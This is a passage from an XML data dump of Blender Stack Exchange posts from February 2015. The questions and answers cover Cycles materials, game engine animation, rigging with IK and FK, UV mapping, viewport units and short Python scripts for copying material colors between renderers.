desired.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Then&lt;/em&gt; scale the grid up as much as you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-02-11T18:52:56.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24611" PostTypeId="1" AcceptedAnswerId="24631" CreationDate="2015-02-11T18:55:21.900" Score="2" ViewCount="2452" Body="&lt;p&gt;So I'm using cycles and I would like the plane that my object is sitting on to be invisible apart from the reflection from the object. So all you see is empty space, the object and its reflection and no plane. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-12T02:15:55.347" Title="Plane to only reflect object?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24612" PostTypeId="1" AcceptedAnswerId="24614" CreationDate="2015-02-11T19:08:30.847" Score="5" ViewCount="9273" Body="&lt;p&gt;Okay, so this may be a duplicate, but I sure couldn't find it. In  &lt;a href=&quot;https://blender.stackexchange.com/questions/24253/blender-game-explosion-type-motion/24268?noredirect=1#comment35880_24268&quot;&gt;this&lt;/a&gt; question the OP wanted to know how to make his animation play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; I have an animation on my object (or armature) and I want to be able to play them in the game engine. How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2017-01-27T15:21:55.090" Title="How do I play animations in the game engine?" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24613" PostTypeId="2" ParentId="24611" CreationDate="2015-02-11T19:08:32.123" Score="0" Body="&lt;p&gt;Create a new renderlayer. The groundplane keeps the reflective material, but the object gets a white emission material. Hide all lights and environments. This gives you a black and white mask for the object and reflection that you can use with your beauty renderlayer.&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2015-02-11T19:08:32.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24614" PostTypeId="2" ParentId="24612" CreationDate="2015-02-11T19:08:47.150" Score="6" Body="&lt;p&gt;This can be done in the game logic view using an &lt;em&gt;action&lt;/em&gt; actuator. First ensure the &lt;em&gt;Armature Modifier&lt;/em&gt; on your mesh is at the top of the &lt;em&gt;Modifier stack&lt;/em&gt; or at least above &lt;em&gt;Subserf&lt;/em&gt;.&#xA;Change the screen layout to &lt;em&gt;Game logic&lt;/em&gt; and the physics type to &lt;em&gt;Blender Game&lt;/em&gt; using the drop-downs at the top of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rKcA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your object that you want the animation to play from and in the &lt;em&gt;logic Editor&lt;/em&gt; space, (large grey empty bottom of the screen) click the &lt;em&gt;Add Sensor&lt;/em&gt; button and select &lt;em&gt;always&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yT7UD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now remember that a sensor sets conditions for something to happen, so you may not want to use the &lt;em&gt;Always&lt;/em&gt; in different circumstances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &lt;em&gt;Add Controller&lt;/em&gt; &gt; &lt;em&gt;AND&lt;/em&gt; along with &lt;em&gt;Add Actuator&lt;/em&gt; &gt; &lt;em&gt;Action&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your animation in the light grey box on the action actuator &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSmrU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and set the start and end values to encompass the entire length of the animation. My animation is 60 frames long, so I set start to 1 and end to 60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtl9j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last step is to connect all the little dots in between the boxes so that it forms one string of logic. &lt;strong&gt;Always &gt; AND &gt; Action&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DHn59.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; to play the game and see the animation play.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="15046" LastEditDate="2015-06-16T20:41:27.153" LastActivityDate="2015-06-16T20:41:27.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24615" PostTypeId="1" CreationDate="2015-02-11T19:45:02.570" Score="4" ViewCount="57" Body="&lt;p&gt;Is it possible to add keyframes and animate geometry without Shape Keys? Just like regular objects? Like moving vertices, edges and such?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-11T20:53:03.557" Title="Is it possible to add keyframes and animate geometry without Shape Keys?" Tags="&lt;animation&gt;&lt;vertices&gt;&lt;keyframes&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2015-02-11T21:19:37.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="24616" PostTypeId="2" ParentId="9355" CreationDate="2015-02-11T19:53:25.987" Score="11" Body="&lt;p&gt;Use the &lt;em&gt;Hook&lt;/em&gt; tool. In edit mode, select a vertice, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;&lt;em&gt;&gt; Hook to New Object&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/juut9.gif&quot; alt=&quot;Vertex Hook&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then easily animate the location of the &lt;em&gt;Hook&lt;/em&gt; empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NKK9A.gif&quot; alt=&quot;Vertex Hook Animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go to the mesh being deformed and add a &lt;strong&gt;vertex group&lt;/strong&gt; if you want to have easy control of what vertices go where. Notice that you can also manually add hooks using the &lt;em&gt;Hook&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One important thing to notice:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The hook modifier stores vertex indices from the original mesh to determine what to effect; this means that modifiers that generate geometry, like subsurf, should always be applied after the hook modifier; otherwise the generated geometry will be left out of the hook's influence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-11T20:53:03.557" LastActivityDate="2015-02-11T20:53:03.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24617" PostTypeId="2" ParentId="8369" CreationDate="2015-02-11T20:16:27.830" Score="2" Body="&lt;p&gt;This feature was &lt;a href=&quot;https://developer.blender.org/rB227a94077f508a47fe7595b9091ab86aecde4ad5&quot; rel=&quot;nofollow&quot;&gt;added recently&lt;/a&gt; and should be in 2.74.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This attribute means how &quot;pointy&quot; the geometry surface is, which&#xA;  allows to do effects like dirt maps and wear-off effects on render&#xA;  geometry. This means the attribute is calculated for the final mesh&#xA;  which means no baking (which implies UV unwrap) is needed. Apart from&#xA;  this the behavior is quite close to how vertex dirty colors works.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The new attribute is available as an output socket of Geometry node.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There's no penalty for the render time, only some delay on scene&#xA;  preparation (the delay is linear of the mesh complexity).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-11T20:16:27.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24618" PostTypeId="2" ParentId="9355" CreationDate="2015-02-11T20:42:58.323" Score="9" Body="&lt;p&gt;You could also use bones and weight paint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oq3Ik.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-11T20:42:58.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24619" PostTypeId="1" AcceptedAnswerId="24620" CreationDate="2015-02-11T20:47:55.860" Score="2" ViewCount="2070" Body="&lt;p&gt;I've disconnected 2 bones, with Alt P &gt; Disconnect. They are definitely disconnected - they move independently in Edit Mode and under the Properties &gt; Bone tab &gt; Relations no parent is shown for them. But then when I move their former parents in Pose Mode, they follow along as though there was a Keep Offset parenting on them. That shouldn't happen, right? I've tried it several times. There's no constraint on the disconnected bone, no drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oDwkQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="7548" LastEditDate="2015-02-11T20:58:56.960" LastActivityDate="2015-02-11T21:50:16.857" Title="Why is a disconnected bone still following its former parent?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24620" PostTypeId="2" ParentId="24619" CreationDate="2015-02-11T20:54:52.360" Score="3" Body="&lt;p&gt;you have to really delete the parenting. In edit mode select your bone, in bone's options tab it's parent should appear, click X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fkery.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the real problem was...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pose mode, adding a constraint that needs a target (IK, track,...) with hotkey &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; should be done selecting it (the target) first, then the bone to constraint. If you don't select a target, an empty is added and becomes the target. This won't happen using the constraint menu.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T21:50:16.857" LastActivityDate="2015-02-11T21:50:16.857" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24621" PostTypeId="1" AcceptedAnswerId="24622" CreationDate="2015-02-11T21:48:27.300" Score="2" ViewCount="2544" Body="&lt;p&gt;I have the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bbuL.png&quot; alt=&quot;mesh with edges to dissolve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to dissolve all of those edges so that face is unbroken, but when I select all of them and use Delete &gt; Dissolve Edges, I get the 'Invalid boundary region to join faces' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I dissolve them one at a time, it works, and I can get it down to two edges, like here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJFQn.png&quot; alt=&quot;mesh with two edges left&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then those two get that error when I try to dissolve them both individually and at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of these edges and make this face smooth? This model is intended to be 3d printed eventually.&lt;/p&gt;&#xA;" OwnerUserId="11545" LastEditorUserId="2217" LastEditDate="2015-02-11T22:32:08.637" LastActivityDate="2015-02-11T22:32:08.637" Title="Invalid boundary region to join faces" Tags="&lt;modeling&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24622" PostTypeId="2" ParentId="24621" CreationDate="2015-02-11T21:57:42.953" Score="1" Body="&lt;p&gt;Having a hole in an NGon is not a good idea. faces have to be filled. An NGon is made of invisible triangles but the link between vertices has to exist! Leaving a few edges makes is possible without crossing the hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your face is smooth (flat would be more exact), unless you want to subdivide it, what you'd better not do with an NGon. Having more edges is not a problem, it's a solution! it won't cause any problem printing it. (it still needs thickness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NGons are just supposed to make things easier and clearer, some sort of shortcuts, but knowing what is topology and why you sometimes need more is crucial for doing things that looks good.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T22:18:26.167" LastActivityDate="2015-02-11T22:18:26.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24624" PostTypeId="1" AcceptedAnswerId="26448" CreationDate="2015-02-11T22:53:05.970" Score="5" ViewCount="7346" Body="&lt;p&gt;When unwrapping a seamed object, my UV coordinates come out very weird. Whereas several sections have equal area on the model, they come out distorted when projected to the UV mappings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wr9VQ.png&quot; alt=&quot;model with the uv mapping side-by-side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;closer view of the UV map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8EQu.png&quot; alt=&quot;closer view of the uv map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried applying the object's scale (Ctrl+A, Scale). It did help, but the UV is &lt;em&gt;still&lt;/em&gt; distorted a bit. Is that normal, or am I doing something terribly wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend file &lt;a href=&quot;http://pasteall.org/blend/34355&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (the model in question is in the 4th layer)&lt;/p&gt;&#xA;" OwnerUserId="3143" LastEditorUserId="3143" LastEditDate="2015-02-12T15:37:10.053" LastActivityDate="2018-02-19T20:31:04.247" Title="Why are my UV coordinates distorted?" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="24625" PostTypeId="1" AcceptedAnswerId="24630" CreationDate="2015-02-11T23:01:46.610" Score="1" ViewCount="8131" Body="&lt;p&gt;I'm building a model that's very small, about a square millimeter, that I intend to have 3d printed. I've figured out the model at normal blender dimensions, with the units set to &quot;None&quot;, and then I just set my units to &quot;Metric&quot; and scaled the thing down considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I could use this model, I might want to make further changes, but since it's so small, it's difficult to work with since the viewport panning is messed up so closely zoomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the scale of my viewport from &quot;meters&quot; to something smaller, like &quot;milimeters&quot;? I've googled around and only find unrelated information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot to illustrate my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlXaH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how in the top left corner of the viewport it says &quot;User Persp&quot; with &quot;Meters&quot; under it. I suspect that's what has to change.&lt;/p&gt;&#xA;" OwnerUserId="11545" LastActivityDate="2020-01-12T02:07:41.470" Title="Change the scale of the viewport" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24629" PostTypeId="2" ParentId="24625" CreationDate="2015-02-12T00:51:01.863" Score="4" Body="&lt;p&gt;Just work in standard Blender units and pretend they are millimeters. When uploading your model to the 3D printing service you should be able to select that one Blender unit equals one millimeter!&lt;/p&gt;&#xA;" OwnerUserId="11548" LastActivityDate="2015-02-12T00:51:01.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24630" PostTypeId="2" ParentId="24625" CreationDate="2015-02-12T02:05:14.127" Score="9" Body="&lt;p&gt;You can change the scale of the whole scene to metric .001 (one thousandth of a meter=1mm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.8X&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5sKyx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5sKyx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.7X&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WkvvP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to be able to work at such small scale you also have to adjust the scale on the viewport as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8X The settings are in the overlay section.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fMw7H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMw7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.7X they are in the Numeric Panel (&lt;kbd&gt;N&lt;/kbd&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aEWZK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what a 1mm x 1mm x 1mm object looks like in with such scaling:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/abQxh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2020-01-12T02:07:41.470" LastActivityDate="2020-01-12T02:07:41.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24631" PostTypeId="2" ParentId="24611" CreationDate="2015-02-12T02:15:55.347" Score="4" Body="&lt;p&gt;to make the plane invisible apart from reflection ,uncheck all the options in &lt;strong&gt;Ray Visibility&lt;/strong&gt; except &lt;strong&gt;Glossy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HyFtE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will make the object appear only as a reflection on objects with glossy shader &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/laQqk.png&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HWaac.png&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-12T02:15:55.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24632" PostTypeId="1" CreationDate="2015-02-12T02:33:15.680" Score="3" ViewCount="5304" Body="&lt;p&gt;How do I make a plane have a colored material in cycles render mode, while making it at the same time have thickness?&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="6204" LastEditDate="2015-02-12T14:48:20.180" LastActivityDate="2015-02-12T14:48:20.180" Title="How do I make a plane have a colored material in Cycles while adding thickness?" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24633" PostTypeId="1" AcceptedAnswerId="24636" CreationDate="2015-02-12T03:07:22.907" Score="2" ViewCount="27471" Body="&lt;p&gt;I am in the final phase of my project. I want to do animation using model imported from MakeHuman. I remark in the properties of the model there is two mode FK (forward kinematic) (default mode) and IK (inverse Kinematic) to move our model. What is the difference between both modes. I could use easily the FK mode but in the IK mode some lines are added (see figure 2)and when  I try to move it in order to move leg or arms of a person, i get nothing!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2nPU.png&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i8tNB.png&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2020-10-27T03:35:22.030" Title="What is the difference between IK and FK in animation on blender" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;makehuman&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24634" PostTypeId="2" ParentId="24632" CreationDate="2015-02-12T03:50:19.143" Score="1" Body="&lt;p&gt;Ummm... A material for color. You need a plane for the square, and you can make it thicker with the solidify modifier.&lt;/p&gt;&#xA;" OwnerUserId="11488" LastActivityDate="2015-02-12T03:50:19.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24635" PostTypeId="1" CreationDate="2015-02-12T03:54:33.150" Score="0" ViewCount="624" Body="&lt;p&gt;If I fracture a box/cylinder/sphere with texture applied, everything goes smoothly, but if I edit the box/cylinder/sphere (e.g. added Loopcuts) and then edited the UV coordinators of the loopcuts, things go distorted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yoEzq.png&quot; alt=&quot;Distorted Picture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking if there is a way to apply the UV, so its a single picture that the object don't need loopcuts to map the image on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated! &lt;/p&gt;&#xA;" OwnerUserId="11341" LastActivityDate="2015-02-12T03:54:33.150" Title="Cell Fracture, UV Texture Distorted" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24636" PostTypeId="2" ParentId="24633" CreationDate="2015-02-12T07:41:15.117" Score="7" Body="&lt;p&gt;With &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/armatures/posing/bone_constraints/index.html#inverse-kinematics&quot; rel=&quot;nofollow noreferrer&quot;&gt;inverse kinematics (IK)&lt;/a&gt; the hands and feet will keep their position when the body is moved. When you switch from FK to IK you need to enable the layers for IK also.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uqv4K.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;FK and IK have different control bones (custom shapes) for both modes. With IK you control the pose with the large plate shaped widgets at the hands and feet.&lt;/p&gt;&#xA;&lt;p&gt;The lines you see are pole targets and allow to control the position of the knee or elbow.&lt;/p&gt;&#xA;&lt;h2&gt;IK example&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NgKU9.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With forward kinematics (FK) each bone from shoulder to wrist needs to be adjusted. This is exactly how bones can be moved right after creation.&lt;/p&gt;&#xA;&lt;h2&gt;FK example&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NC7X9.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;Movement with arms still set to IK but leg to FK&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rigs like Makehuman or MHX allow you to switch from IK to FK separately for the legs and arms. You can even control the influence of the FK/IK controls.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gl7DS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The snap buttons allow copying from the IK position to FK and vice versa.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTpMB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;Here Rigify&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OATwS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;MHX&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-27T03:35:22.030" LastActivityDate="2020-10-27T03:35:22.030" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24637" PostTypeId="1" AcceptedAnswerId="24638" CreationDate="2015-02-12T09:01:26.190" Score="4" ViewCount="706" Body="&lt;p&gt;I have imported a large WRL file (contains &gt;3000 parts) with colors included (&lt;em&gt;one&lt;/em&gt; material for each part!).&#xA;In Cycles and Blender-Render, the colors are rendered just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what do I do if I want Mitsuba, Luxrender or Yafaray as renderer?&#xA;Is there a way to get the Blender-material-color and put that in a 3rd-party material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to make a material with python and apply it to a mesh. But how do I &lt;strong&gt;get&lt;/strong&gt; the color of the selected object's blender-material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How to make a Mitsuba, Luxrender or Yafaray matrial is one thing I yet have to find out too.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="5308" LastActivityDate="2015-02-12T09:49:18.387" Title="Blender Material Color in Mitsuba (or any other) Shader" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24638" PostTypeId="2" ParentId="24637" CreationDate="2015-02-12T09:41:21.747" Score="4" Body="&lt;p&gt;You can read the mat color from Blender Internal material like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# from material&#xA;mat = bpy.data.materials['Material_Name']&#xA;color = mat.diffuse_color&#xA;&#xA;# or from object&#xA;ob = bpy.context.active_object&#xA;if len(ob.data.materials):&#xA;    # get 1st material slots material&#xA;    mat = ob.data.materials[0]&#xA;else:&#xA;    # no slots&#xA;    print(&quot;No Material&quot;)&#xA;    mat = None&#xA;if mat:&#xA;    color = mat.diffuse_color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change LuxRenders material diffuse color:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat.luxrender_material.luxrender_mat_matte.Kd_color = color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mitsuba:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat.mitsuba_material.mitsuba_bsdf_diffuse.reflectance_color = color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Yafaray there is no need to change anything, it will use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat.diffuse_color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-12T09:41:21.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24639" PostTypeId="2" ParentId="24637" CreationDate="2015-02-12T09:49:18.387" Score="3" Body="&lt;p&gt;Here we go!&#xA;After a few tries it works!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;if bpy.context.selected_objects != []:&#xA;    for ob in bpy.context.selected_objects:&#xA;        if ob.type == 'MESH':&#xA;            objcolor = ob.active_material.diffuse_color&#xA;            ob.active_material.mitsuba_material.mitsuba_bsdf_diffuse.reflectance_color = objcolor&#xA;            ob.active_material.luxrender_material.luxrender_mat_matte.Kd_color = objcolor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is it! Select all objects and run this script. The diffuse color will be added to Mitsuba and Luxrenderer.&lt;/p&gt;&#xA;" OwnerUserId="5308" LastActivityDate="2015-02-12T09:49:18.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24641" PostTypeId="1" CreationDate="2015-02-12T11:14:32.720" Score="6" ViewCount="4392" Body="&lt;p&gt;When I use the ruler tool, it gives a very accurate reading, with many numbers past the decimal point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what am I reading?  Is it giving me this in meters, centimeters, inches?  And is there a way to specify this in preferences somewhere?&lt;/p&gt;&#xA;" OwnerUserId="11416" LastEditorUserId="599" LastEditDate="2015-07-16T10:00:44.497" LastActivityDate="2020-01-12T01:18:06.820" Title="What is the unit of measure with the ruler tool?" Tags="&lt;units&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
